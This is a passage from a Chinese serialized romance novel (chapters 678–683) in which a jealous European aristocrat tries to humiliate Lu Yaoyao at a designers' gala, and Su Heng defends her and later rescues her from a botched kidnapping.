蒂娜对保镖慢吞吞的样子有些恼,保镖没说,蒂娜气愤的问了路过的保姆,保姆看她这么嚣张也不敢招惹,指着靠楼梯的房间支支吾吾的说道,“那间就是陆小姐的房间。” 蒂娜也不管保镖,直接冲上二楼,许是因为蒂娜的身份,保镖也没敢拦。 蒂娜上了二楼直接推开房间门粗鲁无比,“陆杳杳,你出来!” “陆杳杳……” 陆杳杳此刻安静的低头看着一本古朴外皮的书,娴静的空留下一个绝美的侧影,而那卷曲的睫毛也微颤着。 第678章 她就是靠那张脸 在听到有人喊了自己的名字她才后知后觉的抬眸,那双水润温雅的眸淡淡的看着蒂娜,像是绝无仅有的琉璃宝石。 蒂娜看呆了,愣怔的站在原地,此刻竟然觉得那人沐浴在微光下,美的像是一副画。 “你找我吗?” 陆杳杳拿了书签夹在书页中,合上书本站起来看向了蒂娜,对她报以微笑。 蒂娜惊讶的看着面前的女人,竟然说不出话来。 这就是陆杳杳?这就是苏衡喜欢的陆杳杳? 怎么会……这么美? 蒂娜看着她只是穿着最简单的居家服却也是穿出那种无言的优雅感,那是一种与生俱来的贵族风范,好似是她也矮了一头。 她觉得有些脸红,面对这女人自己却像是小丑了。 她咬咬牙,想起了苏衡,语气嚣张的对陆杳杳说道,“你最好离开苏衡,不然我一定不会放过你的,我父亲是E国有名的人物,我也是贵族小姐,才不像你没身份没地位。” 陆杳杳微微点头,“你是贵族小姐跟我有什么关系?” “我是贵族小姐当然跟苏衡更般配,才不像你是个华国人,根本没有与之相匹敌的家室。” “抱歉,你好像很瞧不起我的身份。”陆杳杳勾唇,笑的有些嘲讽,“我们都是人,没有什么高低贵贱之分,最多你也只是比我会投胎一些,不过我不觉得作为华国人有什么不好。” 蒂娜见她那副不惊不怒的模样就有些来气。 “你这话是什么意思?我克里斯蒂娜还要跟你陆杳杳比什么高低贵贱吗,我的身份那是所有人都追着捧着的,不像你登不上大雅之堂。” 陆杳杳又笑了。 “你这么尊贵,却要屈尊来见我这样的小人物,真是委屈你了。不过你这样尊贵的人似乎是喜欢苏衡?” 蒂娜觉得她是在讽刺她。 陆杳杳说了这话,其实是在提醒她,她说她登不上大雅之堂可偏巧苏衡就是看上了她,她讽她的身份亦是讽了苏衡。 蒂娜心里头气愤不已,果然这个女人是不能小瞧的,还不知道是使了什么狐媚子的手段才勾到了苏衡! 她娇美的脸上怒容尽显,带着的全都是对陆杳杳的厌恶和恨意。 可转眼间就想到了对付陆杳杳的方法。 今晚来到A市参加比赛的设计师很多都是海外设计师,E国那边会举办一个专门的晚宴,那时到场的会有各路的贵族小姐以及来参加比赛的设计师,看陆杳杳不顺眼的人也多了去了,她还不信陆杳杳到了那时候还是这般伶牙俐齿的不服输!她就是要把她打回原形,让她丢苏衡的脸,让她自己离开苏衡! “今晚在华庭会举行晚宴,陆杳杳你敢不敢来。”蒂娜深吸了口气,才不找其他的什么借口骗她去,直接就这么说出口了。 陆杳杳挑眉,“我为什么不敢去?” 蒂娜鼻孔朝天,“好!我今晚就在晚宴上等你了!你可别不敢来。” 陆杳杳低笑了一声,一点没有害怕的意思。 蒂娜心里气的不行,可也不想再看到陆杳杳那张脸,多看一眼都会嫉妒的心里头发痒。 她踩着高跟鞋离开,连个眼神都不想留给陆杳杳。 陆斯年才上了楼就看到蒂娜气愤的下楼,看到他也是横了他一眼,似乎是带着股子狠意。 蒂娜当然恨陆斯年,就是因为有陆斯年是陆杳杳的后盾才让陆杳杳如此嚣张天不怕地不怕。 陆斯年面色平静并未将蒂娜放在心上,到了二楼,待看到陆杳杳安稳无恙的坐在沙发上便安下了心。 “看到蒂娜来找我这么急做什么,她又不会吃了我。” 陆杳杳轻笑着看着陆斯年。 “那位蒂娜小姐的事迹我也多少听说过一些。”事关陆杳杳,陆斯年怎么可能不在乎。 见陆杳杳只是笑便也觉得自己是想多了,蒂娜再怎么不会来事儿也不可能在A市他们的地盘找什么不痛快。 “她来找你做什么?” 陆杳杳翻开书继续看着,“就是来对我表达一下对我的不喜和对苏衡的爱慕。” 还真是这么回事儿。 “哥你让人帮我准备一件出席晚宴的礼服,今晚我要去华庭。” 陆斯年一听这话便愣了下:“我和阿愿为你举办晚宴你不去,怎么还要去参加其他人举办的晚宴?” “克里斯蒂娜都上门来邀请我了,说是为我们这些参赛者举办的晚宴,我不去总归是不好的。” 陆斯年叹了口气:“真要去?” 陆杳杳点头。 “那就听你的。”陆斯年无奈。 陆杳杳眉眼弯成了月牙。 她会怕蒂娜吗? 当然不会,甚至觉得蒂娜这样做很是可笑。 …… “她真敢这么跟你说话?那陆杳杳也真是有胆子。” 几个女人凑到一起碎碎念,听到蒂娜说陆杳杳侮辱她便也觉得惊讶,对那陆杳杳也有些不喜。 本来就没什么身份,现在倒还摆上谱了。 蒂娜是谁?蒂娜可是E贵族小姐,那身份不言而喻,可陆杳杳不过就是陆斯年妹妹,就算盛华现在地位斐然,可那也不是E国贵族,不是贵族那就是没身份没地位,没身份地位的摆什么谱。 “谁知道苏衡怎么瞧上她了,照我看是一点礼仪都不懂。”说到这里蒂娜又冷哼了一声,“你们根本不知道,那陆杳杳长了一张狐媚子的脸,不知道怎么勾引的苏衡呢。” “狐媚子?” “长得美?” 蒂娜不愿承认的点点头。陆杳杳的确是美的,美的让人羡慕的同时也心生嫉妒。 围在一起的几个女人也是如临大敌的模样。 “长得美又怎么了,那也是没有受过贵族教育的,说不定根本不知道什么是华尔兹更不知道肖邦。” “等会儿让陆杳杳弹首钢琴曲让她出出丑,看她还怎么嚣张。苏衡如果知道陆杳杳出了丑说不定也就瞧不上她了。” “谁说不是呢,不就是靠着那张脸吗。” 蒂娜这群人也是可笑,还当华国是多少年前的华国,将陆杳杳想成了什么都不会只知道攀高枝的女人。 第679章 陆杳杳,你还真敢来 苏衡站在不远处,为了防止有些人一眼认出自己,特地在进入晚宴前戴了银质的面具,耳边传来的侮辱性的字眼不停的传入耳中。 果然不论国籍,总有这种聒噪自大的女人。 他知道此次的设计赛在华国举行所以特地赶来的,听到这些议论的声音也不顾自己是主人公面色已经冷了,根本不欲理会几人,转身便走。 晚宴入口,陆杳杳仍旧挂着温婉的笑意,她没有半分畏惧的踏进晚宴,陆斯年靠在车边抽着烟,也不知在想些什么。 而陆杳杳踏进晚宴时,便不停的有人往她这里偷瞄,不论男女。 她穿着一件即为简约的红色礼服,张扬的颜色却没有掩盖她的美艳,反倒是让她美的更加张狂。 蒂娜也感觉到了晚宴上的不同偏头看去正瞧见陆杳杳步履从容优雅至极的踱步在晚宴中,可因为她那一张东方面孔却让一众痴迷她容貌的男士更觉得有神韵。 但因为蒂娜已经和其他人联合起来打算针对陆杳杳,所以很多人只是远远看着陆杳杳并没有上前。 蒂娜得意的看着陆杳杳被孤立,心里头也泛起了冷意。 “瞧见没有,那个就是陆杳杳,就是那个不要脸的贱人。” 苏衡闻声朝不远处看去。 是陆杳杳。 他喉头微动,眼眸沉了几分,身边的人还想要再寒暄几句,苏衡却打断了对方的话,说道,“抱歉,我看到了熟人。” 对方了然的笑了笑,不再耽误苏衡的时间。 苏衡看着陆杳杳那张熟悉的容颜,朝她走过去,陆杳杳却不知,只是自顾的拿了杯热橙汁,根本不在乎那些人的冷落,只是自顾的唇角带着浅淡的笑意。 眼前投下大片的阴影,鼻端传来一股清冽的男性气息,有些熟悉。 她抬头看去,动作却僵住。 他的容貌冷峻,隽冷的眉眼微微上挑,肃冷的唇角带着一抹淡淡的冷意,而那双眼眸却黑亮的如同黑赭石,即使面具遮住了半张脸却仍然能看出男人有一张俊美的东方面孔…… 苏衡知道陆杳杳认出他了,笑了笑礼貌的朝她伸手,“介意跟我跳支舞吗。” 陆杳杳眉眼弯起,“我很高兴能接受你的邀请。” 她把手放到他的手中,腰身被揽住,身边全都是他的气息,那种清冷的却又带着柔情的气息…… 每一个旋身,每一个下腰,两人都配合的极为默契,周围的人看的不由惊叹一声。 陆斯年和许愿想来参加这种晚宴其实也就是说一声的事,此刻陆斯年就在现场,看到这一幕脸上温文尔雅的笑都已经僵住了。 不过他也知道陆杳杳的脾气,只能远远看着,并没有上千阻拦。 蒂娜在不远处几乎要将牙齿咬碎,一直到一曲完毕陆杳杳和苏衡下了舞池蒂娜才急冲冲的走过去,她没有认出苏衡,所以此刻面露不善。 “陆杳杳,你还真敢来。” 陆杳杳站在苏衡身边也只是低头笑了笑,“我为什么不敢来。” “陆杳杳,苏衡那么喜欢你,你还故意跟其他男人跳舞,你这是在背叛苏衡!” 蒂娜发起疯来就是故意的找茬。 蒂娜这一说却是有些胡搅蛮缠了。 “我怎么不知道苏衡喜欢我?就算苏衡真的喜欢我,难道我有了爱慕者就不能跟其他异性跳舞了?蒂娜小姐要不要问一问在场的人是不是这个道理。” 陆杳杳对蒂娜的话嗤之以鼻完全没有放在心上。 苏衡挑了下眉,唇角带着笑,看她如此咄咄逼人觉得有点可爱。 陆杳杳按没有察觉到苏衡的表情,只是讥嘲的笑看着蒂娜,身上涌起的那股不一般的气场硬是压了蒂娜一头。 有个女人也感觉到蒂娜落了下乘便走上去助力说道,“陆小姐,外面都传说苏衡喜欢你是因为你的学识和才华,我们也都信以为真了,不知道陆小姐能不能借此机会在这次的晚宴上向我们展示展示你的才华?” 陆杳杳顺着女人的手看去,正看到晚宴正中央放着的一家白色的钢琴,她瞬间了然,也只是轻笑。 “原来这位小姐所说的才华就是要我去谈一首钢琴曲了?”她动作优雅的撩起耳边的散发,“那我就却之不恭了。” 苏衡根本没有拦,因为他了解陆杳杳,自然知道陆杳杳钢琴谈的有多好。 陆斯年更是远远便看到克里斯蒂娜去找麻烦,但他没有上前,因为他清楚自己妹妹不是谁都能欺负的,若他近前了,反倒会被陆杳杳说扫兴。 陆杳杳已经坐下,抚摸着莹润的琴键,从容的坐在席位上挺直了脊背,眼眸微闭的在脑海中过滤了几个曲子,选定曲目后唇角才绽出笑意。 细长白皙的指尖在琴键上游动,每一次的摁键都带动着美妙动听的符音,组成一曲优美的旋律,让人沉醉的同时也为她的淡然倾慕。 一众看戏的人都露出了敬佩的目光,对她感到惊喜。 苏衡静默的站在原地,看着她文雅的坐姿,和裸露在外的诱人颈项,眸光愈发深沉。 蒂娜站在原地气愤的只能干瞪眼,她冲过去也不觉得丢人就想把陆杳杳从座位上拉开,却不曾想被人擒住手腕被迫的倒退了数步。 恼怒的甩手看去,正想怒骂,却被苏衡眸中的冷意冻的打了个寒颤,可下一秒却也被他的俊美吸引。 “你……” 苏衡淡漠的看她一眼,“这就是你们E国的贵族作风?倒真让我开了眼。” 带着讥嘲的语气道出对蒂娜的讽意。 她涨红了脸,深知自己是被侮辱了抬手就指着他大吼,“你以为你是谁!敢跟我这么讲话!我可是我们家族最受宠的小姐!你们华国人怎么敢跟我这种口气嘲讽我!” 场上的人哗然退后数步,克里斯蒂娜到底知不知道这是在华国? 到底是上流社会的人,哪能是没有点眼色的?苏衡浑身透露的都是强者的气息,哪里会是什么普通人。更何况能来参加这种晚宴的除了那些设计师不都非富即贵,克里斯蒂娜这就是自己给自己找不痛快。 第680章 这也算是道歉? 一直跟苏衡谈工作的E国高层普林卡也急了。 苏衡能是什么好招惹的人物吗!哪有蒂娜这样自己撞上去找茬的! “克里斯蒂娜!你给我住嘴!”普林卡立刻上前阻止,避免让蒂娜再惹些其他的祸端。 “这是苏先生!” 蒂娜被普林卡吼得身子颤了颤,还真被吓到了。 周围人的脸色变得更加怪异。 反应过来这人是谁后那些看戏的人都有些惊愕了。 蒂娜却完全回过味儿来,还觉得自己委屈,可要说她丢人,那倒真是这么回事儿。 怎么偏偏是苏衡啊,怎么让她在苏衡面前丢人了! 蒂娜眼睛都红了。 “还愣着干什么,还不赶紧过来给苏先生道歉。”普林卡恨铁不成钢的瞪着蒂娜。 蒂娜很不情愿的走到苏衡身边语气委屈道,“对不起。” 这么一句干巴巴的对不起,却只让普林卡觉得更加的尴尬。 苏衡眸子暗沉的扫了蒂娜一眼,“我想蒂娜小姐当真是拉低了E国贵族的素质水平。” 蒂娜愤怒的握拳,什么叫做拉低了E国贵族的素质水平!不就是说她没素质吗! 可偏偏说这话的是苏衡,她也只能忍着压下了心里那股火气。 普林卡却只能赔笑的说道,“您说的是,她也是平日里娇生惯养的多了才会这样,也希望苏先生不要放在心上才好。” 苏衡面无表情的看着普林卡,眼窝深沉。 “这种小事我不会放在心上。” 普林卡一听立刻露出笑脸,苏衡果然是识大体啊! 可转眼间苏衡说的话就让普林卡为难了。 “只是蒂娜小姐在晚宴公开针对我们华国……不知道普林卡先生是不是需要给我个交代?” 普林卡脸都皱起来,满脸的懊恼,等过了好一会儿才兀自擦了擦额头上的冷汗又笑呵呵的说道,“那不如这样?今晚我会告知蒂娜的父母好好管教她,等设计比赛结束回到E国后这个月都不会让蒂娜再出门惹事,也算是给苏先生一个交代?” 蒂娜听了这话气得不行,特别是听到要告诉父母还要让她一个月不能出门就忍不了了。可普林卡毕竟是E国有头有脸的大人物,苏衡更是她爱慕的对象,她也不能去反驳普林卡的话,只能自己告诉自己吃下这个哑巴亏算了。 看出蒂娜心中的不满苏衡也只是唇角掠过一抹浅淡的冷嘲笑意。 他走到陆杳杳的身边,修长的指落在琴键上,突兀的弹奏了琴音,狭长的眸也维扬,带着难以言喻的笑意的看向普林卡。 “那就要看蒂娜小姐是不是真的想要悔过了。” 陆杳杳抬眸看向苏衡,似乎不太明白他想要做什么。 “我苏衡一向是护短的人,而陆杳杳是被我划在势力范围内的好友,而蒂娜小姐欺了陆杳杳也就是欺了华国欺了我苏衡。” 他慢条斯理的开口,欣赏的看着蒂娜变得铁青的难看脸色继续道,“如果想要这件事就此翻篇,那就需要蒂娜小姐向陆杳杳小姐诚恳的道歉。” 普林卡算是听明白了。 这是让蒂娜给陆杳杳道歉呢。 也是,刚一开始蒂娜就四处的说着陆杳杳的坏话,不是都传苏衡喜欢陆杳杳吗?那苏衡能忍?蒂娜也是有胆子的,没认出苏衡还侮辱陆杳杳让她在晚宴上弹奏曲目,这就是故意在欺负陆杳杳。 陆杳杳是华国人,蒂娜这么做,还真是当着苏衡的面打脸他们华国人了。 这华国是个小国国力不强盛也就算过去了。 可是华国是现在能跟M国较劲的强国,更是军事大国,谁会不怕死的正面跟华国撞上? 那还是道歉来的实在点。 普林卡心里头暗骂蒂娜找的事儿,可面上却还是笑着。 “那当然,那当然,蒂娜侮辱了陆小姐那必须要道歉。”普林卡又瞪了蒂娜一眼,“蒂娜,还不跟陆小姐道歉!” 蒂娜憋着气红着脸走到陆杳杳的面前,又是恼恨的瞪了她一眼,“对不起。” 是个人就能看出蒂娜的不甘愿。 “蒂娜小姐这也算是道歉?”苏衡的笑意加深了几分,可怎么看都是带着数不尽的危险。 “不需要蒂娜小姐道歉了。”陆杳杳优雅的整理了下自己的裙摆从座椅上站起来,带着笑意的看向苏衡,“与其求来心不甘的道歉,那倒不如求一句承诺的好。” 苏衡挑眉,“陆小姐说的承诺是指什么?” “我的意思是……”陆杳杳低笑一声,“蒂娜小姐以后不要再去找污了我的眼。” 陆杳杳真的是有胆子,就这么堂而皇之的跟蒂娜说不希望她污了她的眼…… 可现在陆杳杳却说了这种话可处在这当口却是不同意也不行了! 普林卡催促着让蒂娜答应,蒂娜急冲冲的应道,“不去就不去。” 普林卡被她这态度给弄得没辙,可再看苏衡却见他也没有什么恼色这才放下心来。 陆杳杳莞尔轻笑一声,有些释然的将耳边垂下的发别到耳后然后抬起头郑重的对苏衡说道,“谢谢。” 苏衡却并不在意。 晚宴上人很多,可是跟陆杳杳关系好的却没几个,她哥哥还看着呢,倒不如早点回家休息,省的像是被那群人冷暴力了。 她自嘲的勾勾唇角,打算离开晚宴,却被人突然的拉住手腕。 那种珍视的力道,以及碰触到她肌肤的温热的触感让她略微怔愣。 “苏衡?” 她回头,充满不解。 “你要离开吗。” “我在这里也没有认识的人,倒不如回家看本书来的自在。” “我也打算离开,不如一起?” 苏衡走近一步,笑了笑。 陆杳杳有些错愕,却还是点了点头。 两人一同转身离开晚宴,而并肩离开的背影却让普林卡陷入沉思。 他本以为有些人传苏衡喜欢陆杳杳是玩笑话,可现在看着怎么有点真呢,不会真的喜欢陆杳杳吧……如果是真的,那陆杳杳是真有点能耐了! 普林卡像是了解了什么一般惊愕的拿了杯酒灌下去,觉得自己就是昏了头才会想到这些。 第681章 这位苏先生,有点凶啊 陆斯年一直等在门口,终于等到陆杳杳可却在下一秒看到走在她身边的那个……男人 苏衡。 苏衡怎么会在这里? 苏衡怎么会跟杳杳在一起! “哥,你怎么了?”陆杳杳走到陆斯年身边不由得笑出声。 “没事……”陆斯年干咳一声,“我送你回去。” 陆杳杳点了点头,等坐上了车才摇下车窗朝着苏衡挥了挥手,“苏衡!” “明天我请你看电影你来不来!” 苏衡挑眉,虽然有事要忙却也不忍拒绝她,终是点头答应。 陆杳杳孩子气的笑着,“那就说定了。” 她靠在座椅上,唇角的笑意久久不散。 陆斯年心却沉下去了。 苏衡的身份陆斯年是知道的,E国华裔,在E国身份可以说是最上层的名流,就是顾凛和刑从景会谈都不一定能直接对上苏衡。 这么一个人是什么时候跟杳杳关系这么好的…… 陆斯年觉得自己这些年有些太忽略陆杳杳了,陆斯年有些思绪乱飞,见许愿还没有过来,终于忍不住了才开口问道:“你跟苏衡认识?” “认识很久了,有一种相见恨晚的感觉。” 陆斯年嘴角一抽,跟苏衡相见恨晚,怪不得E国那群名媛对杳杳这么恨呢。 苏衡这人身份实在尊贵,且有一副好相貌,哪怕身体内流着的是华人的血,却偏偏长了一张实在立体又硬朗的相貌,饶是E国人见了也忍不住一见倾心的程度。 偏偏陆杳杳说跟苏衡一见倾心。 陆斯年觉得心里有点堵。 “哧——!” 车子突然不停的在马路中央转圈,“嘭”的撞到街角的树上,火花四溅,车子也因为这剧烈的碰撞也翻转过来。 陆杳杳手臂狠狠的撞在车窗上,头也被狠磕着,有些腥稠的液体流下。 “杳杳!” 陆斯年大惊失色的看到突击而来的子弹,他扑过去挡在陆杳杳身前身,忍住了背上传来的尖锐的刺痛,下一秒又是剧烈的碰撞声传来。 陆斯年打开车门抓紧了陆杳杳的手,可脖子突然被人狠狠的扣住。 “唔……” 陆杳杳被扣紧双手强行的塞上车。 陆斯年大口大口的呼吸,可脸还是青紫着,他憋着气恼恨不已。 陆杳杳被捂住嘴不能出声,只能瞪大了眼睛,连动作都被限制住。 “哧——!” 车子猛地停住。 “靠!” 开车的男人怒骂了一声,就见前面挡着一辆越野。 制住陆杳杳的男人也恼了,要骂一句可突然失去了意识,身子一软倒在车厢内。 车门被打开,开车的男人惊慌的执枪对准了来人,却被来人迅速的将枪夺去一枪打在他的胸口。 陆杳杳失措的捂着自己的头浑身颤抖,可突然被人抱住,扑面而来的是男人熟悉的气息。 是苏衡。 她叫出声,“苏衡,苏衡!” 苏衡的动作顿了顿,将人带进臂弯小心的抱着她,把人带到自己的车上,才低叹了一声,“杳杳,没事了。” 陆杳杳猛然抬头,看到苏衡的瞬间,心都在此刻安定下来。 苏衡喉头动了动:“没事了。”他声音低哑的凑近到她身边,帮她体贴的系上安全带,“我会安排人送你哥哥去医院,今天的事我会让人查清楚的。” 陆杳杳眼底都带着些许恨意,却又不知道恨谁。 陆斯年伤的有些重,需要静养些日子,而这次想要绑架陆杳杳的人也不难猜。 苏衡白白的跟华国签订了不公平的友好条约,为了与华国达成共赢甚至让利,那些保守派顽固派的人怕是已经把他看做了眼中钉肉中刺,就专挑这一次想要绑架陆杳杳来胁迫他为一些政治上的事低头。 若是往常苏衡便也就睁一只眼闭一只眼不把这些当回事。 可这一次他们想要绑架的人是陆杳杳。 他绝对不会轻易放过那些敢动她的人。 只是他不清楚到底是不是那群人干的,又或者是陆斯年的仇人,这件事还有待商榷。 苏衡带陆杳杳去了云尚处理伤口。 好在陆杳杳系着安全带,而且那时陆斯年也护着她,没有出什么大事,只是额角被磕破渗着血,手臂擦出一条狰狞的血口。 不过总归没有什么大碍。 陆斯年背部的子弹已经被取出,现在还在修养,这件事倒是没有传开,被苏衡联络人压下去了。 等一切安排妥当才去看望陆杳杳。 看到他,陆杳杳眉眼弯弯的笑着,“你来了。” 苏衡拧眉,眼神也凛然的冷了几分。 走到她身边有些紧张的看着她略显狰狞的伤口心也紧了几分。 陆杳杳无所谓的继续笑着开口道:“我也没出什么大事,以后不出门就好了,那些人就算再怎么想要置我于死地也没办法了不是吗。” 护士快速的处理好陆杳杳的伤口见两人似乎是要谈什么事一刻也不敢多待的提着药箱一溜烟的没了影。 陆杳杳拍了拍自己身边的床铺,很友好的仰头说道,“坐这里。” 苏衡静默的看了她几眼,似乎是在考虑什么,可陆杳杳却不给他考虑的机会笑呵呵的一直用没有受伤的手拍着床铺,也没了昨晚那种淡然的样子。 他弯了弯唇坐在床畔。 “疼吗。”他的声音带着哑意,可仍旧好听的让她心间都颤了颤,那种久逢甘霖的感觉让她不由得展颜轻笑。 “当时疼,不过现在不疼了。”她抬起自己的右手拍在左肩好似是要验证自己不疼似的,可这么一拍还是疼的呲牙,眉头都皱了皱。 “胡闹什么。”他略有些无奈。 她仍旧是笑,难得的心情很好,还推了推床头柜边准备好的点心,很是热络的模样。 “有查到什么吗。”陆杳杳问:“我受这点伤没什么,但连累我哥受伤……我倒是有些生气的。” 苏衡当然知道陆斯年和陆杳杳兄妹关系多好,听到她这么说眼神一暗:“我已经安排人去查,E国人也好,商业竞争对手也好,我都不会放过。” 许愿得到消息赶到时正听到苏衡这句话,不由扬了扬眉。 这位苏先生,有点凶啊。 第682章 他都爱惨了好吗! 许愿敲了敲病房的门,两人目光循着声音看过去。 陆杳杳是眼睛亮了亮喊道:“阿愿!” 陆杳杳向来这样喊她,不喜欢喊姐姐,因为她总觉得自己跟阿愿没差多少。 苏衡神色淡淡的,他不是第一次见许愿了,曾经许愿和陆斯年代表盛华与E国谈论过相关合作事宜,那块地还是他亲自批的。 不过现在的许愿比起那时的许愿似乎愈发从容了。 “许小姐,好久不见。”苏衡打了声招呼。 许愿回应:“又见面了苏先生。” 说罢,许愿眼神飘忽在两人身上转了转轻笑道:“我倒不知道苏先生什么时候跟我这个妹妹关系这么好了。” 苏衡倚靠在一旁,姿态清冷中带着点慵懒,他轻轻的瞥了许愿一眼:“当初合作时许小姐不是提到过有个妹妹在E国让我遇到后多关照?” 那许愿多少明白了。 许是她当时提到了陆杳杳的名字,后来两人遇到的时候听到陆杳杳的名字才会任由陆杳杳接近。 说来也算是缘分了。 “我还有些工作要处理,你们聊。” 话落苏衡目光再度放到陆杳杳身上。 “有事随时打我私人电话。”苏衡开口提醒:“你知道的,我私人号码二十四小时都能联络上,如果不想联络我联系苏一也可以。” 苏一是苏衡的助理。 陆杳杳点头,苏衡这才离开,关好了病房的门。 苏衡前脚才走许愿就已经贴到陆杳杳身边连着啧啧了几声。 “杳杳你跟苏衡……到底怎么认识的?” 不怪她八卦。 苏衡那性子实在是太冷淡了些,就算当初的傅京礼也是冷淡中带着客套的礼貌,但苏衡不是,他连客套的礼貌都没有,很难接近。 陆杳杳眨了下眼,摁了遥控把房间内的窗帘拉上,房间内巨大的电影屏幕也降下来。 陆杳杳随便挑了个动画片放着,整个人靠在床头想了下:“我们初遇特别狗血。” 说到狗血,许愿兴致更高了。 “他那时候还没有掌握全部政权,很多保守派因为他的身份抵触他想将他踢出局,甚至多次派人暗杀,我就是在去E国边境采景的时候遇到的苏衡,也不知道是中了几枪,身上全都是血,也是他命大活了下来。” “我其实并不关注E国的国事,只是觉得他这张脸实在眼熟,主要是他长得这么好看,这么好看的男人……我实在不忍心不管就让他死在那个雨夜。” “我也不是傻子,他伤成这样不知道有多少人追杀他呢,就……嗯,我随身带了红色的布景用的布料,刚好是深红色,就给他做了件以假乱真的女性服装换上,你是知道我给人化妆跟易容似的,就干脆给他化成了女孩子,戴上假发后扶着他离开。” “他的求生意志是真的强,大概是没有完全昏厥还有意识,所以我才能平安将人带到我租住的公寓。” “E国人民风彪悍,但也不会随便闯进居民家中,所以那段时间跟他一起住了大概要有一周的时间。” “一周后他留下字条和联系方式就消失了,后来我听说E国几大贵族的府邸因为一场大火均被烧毁,就连那几大贵族也不能幸免,当时不清楚只以为是火灾,现在却觉得大抵是他的报复了。” 陆杳杳叹了口气:“后来我没想再联系苏衡的,只是我念的学校距离他的居住的别墅园太近了,当时汤姆斯老师说给我找了份很好的兼职工作,让我去别墅园整理书馆内的书,说是既能赚零花钱还能看很多设计类的书,不过只有那栋别墅园的书最全,我就去了。” “结果你都猜到了,刚好就是苏衡的别墅园区,我们又遇到了。” “不过他还是那个冷淡性子,只有工作处理好后的每周五周六下午会出现。他的书馆真的很全,什么书都有,就连国内的一些传统文化设计元素的书都有。” “他在的时候也会看很多书,我们也不会吵闹只是各看各的。” “只是时间久了苏衡去那里的次数也多了,有时会给我带早餐和午餐,后来……就变成给了我别墅园的出入令,我可以随意出入那里,同时安排了管家为我准备餐点。” “其实我觉得我和苏衡就是那种……灵魂能共鸣的朋友吧,只可惜有一次被上流圈层来拜访的人瞧见了,很多人就说我跟苏衡关系暧昧,说什么苏衡喜欢我,传的有鼻子有眼的,真的有点太可笑了。” 陆杳杳说到这里还觉得有点无语。 许愿:“……” 许愿一时不知道自己该不该同情苏衡。 她承认她自己是个恋爱脑,她这个妹妹倒好,压根就没长恋爱的脑子,别是出生情丝都没有吧。 苏衡都表现的这么明显了不是追求是什么?不是喜欢是什么? 就那样冷冰冰的一个人,给你带早餐带午餐,甚至那么重要的出入令都给了,还告诉管家佣人那么照顾你,不就是暗示你是家里的第二个主人吗?就这还反应迟钝到说只是朋友。 就真的没想过传出这绯闻苏衡压根没理吗?没理不就是想让陆杳杳知道吗? 结果呢,陆杳杳张口就说那群人可笑,她觉得陆杳杳挺可笑的,倒是苏衡是真可怜。 许愿捏了捏眉心:“苏衡有送过你礼物吗?” 这事儿她必须问清楚。 陆杳杳立刻点头:“肯定有啊,我也有送他礼物。” 许愿眼皮一跳:“送的什么?什么时候送的?” 陆杳杳开口:“大大小小的节日我们都会护送礼物,还是苏衡说这事一种仪式感,他说没有什么能说的上话关系这么好的朋友,所以希望可以送我礼物也收到我的礼物,还挺可怜。” 许愿:“……” 是。 苏衡是可怜,你是可笑。 许愿不仅是不理解了,甚至是大为震撼。 到底是木头到什么地步才不明白苏衡的意思啊? 就苏衡那个死性子,他能开口说出这个话他爱惨了好吗! 第683章 她是他的命 许愿在纠结什么陆杳杳是一点没看出来。 许愿在心里为苏衡点了根香,这是真没办法,自求多福吧,孩子还没开窍,等开窍的时间还早,实在不行来个猛的吧,不亲一口她是真不明白。 甚至于许愿现在都觉得就算是苏衡亲了她,陆杳杳都会觉得那是国外的社交礼仪吻。 行。 不愧是兄妹两人。 陆斯年是木头从不明白姜明珠的情愫,妹妹陆杳杳跟他一样一样的。 你俩不是亲生兄妹谁还能是亲生兄妹啊,木到一起去了。 陆杳杳此刻还看着动画片乐呢,乐着乐着就叹了口气。 “阿愿,你说到底是谁要害我啊。” 这种事陆杳杳是真想不明白。 她甚至都在想是不是克里斯蒂娜太恨她被她刺激的下黑手了。 “有三种可能,第一种是最近苏衡动了太多人的蛋糕,但苏衡这人无欲无求的也没什么亲人,大众知道的他最在乎你,所以可能想绑架你来威胁苏衡。” “第二种,可能是盛华的敌对公司盯上了陆斯年,而恰巧你回国,绑架你或者伤到陆斯年都是他们的目的。” “第三种,苏衡的爱慕者恨你,在极端不理智的情况下做出了无法挽回的事。” “不过也可能有第四种,绑错人伤错人什么的,以前不是有说过杀手杀错了人的?但我觉得应该不会再有人蠢到这种地步了吧。” 许愿简单的分析了下,陆杳杳和许愿全都直接排除了第四种可能,许愿也安排人去查。 开玩笑,在华国在A市让人伤了陆斯年和陆杳杳,就跟打她的脸没差了。 陆杳杳也连连点头,完全同意许愿的看法。 …… A市,收到手下电话的傅长海险些被气的倒仰。 “你是蠢货吗!” “我让你去绑温栩栩!你去绑陆杳杳做什么!我看你是疯了!” “什么叫陆杳杳也漂亮!陆杳杳漂亮你也要敢惹啊!陆杳杳亲哥哥是陆斯年,她本人更是E国那位政界高层苏衡的情人!你要死啊想跟E国的疯子对上!E国多彪悍你不知道是不是!” “这件事如果被查出来你就赶紧给我去死!” 傅长海气的砸了电话。 这次的绑架枪击案确实是个乌龙。 原因是温栩栩本来在今天会有个晚间活动,傅长海的手下也已经准备好绑温栩栩了,但温栩栩身边跟了太多报表,手下怵了,又刚巧看到陆杳杳和陆斯年,立刻想到陆杳杳也是许愿在乎的人,陆斯年更是许愿的好友,所以想着绑了陆杳杳伤了陆斯年和陆杳杳也算是为自己老大报仇。 所以就做出了这种蠢事。 现在是被傅长海骂了个狗血淋头,更怕他被人查出来给自己带来灾祸,赶紧让人滚出国躲起来,这阵子都不要冒头! 第四种可能许愿分析出来了,但觉得太可笑了所以根本没当回事。 谁能想到确实是个乌龙,对方最开始想要绑的人是温栩栩呢。 因为有许愿陪着陆杳杳,苏衡放心去工作,万万没想到克里斯蒂娜仗着自己贵族身份找上门拦住苏衡。 “苏衡!你跟陆杳杳到底是什么关系?” “你真的喜欢陆杳杳真的要娶她吗?” “可她只是个平民,你该娶我的,我才应该是你的妻子!” 克里斯蒂娜喝了不少酒,此刻还晕晕乎乎的,见到苏衡就扑过去,张口闭口自己才应该是苏衡的爱人,根本不知道自己做了多可怕的事情。 “我的妻子该是你?那我的眼睛是要有多瞎才会看上你?”苏衡嘲讽,“你以为我苏衡是什么人都能娶的吗?” “我是克里斯蒂娜,在E国谁不知道我克里斯蒂娜,娶了我我的父亲会帮助你拿下E国所有的政权,你就能够在E国独揽大权,你就是E国唯一的存在,所有的人都将臣服在你的脚下,这样的生活不该是你想要的吗?” 克里斯蒂娜有些疯狂的爱慕的看着苏衡,好似自己能够把心都剜出来让他看,让他知道她有多爱他。 可她这幅面孔却让他眼底的冷含意味愈发的重了。 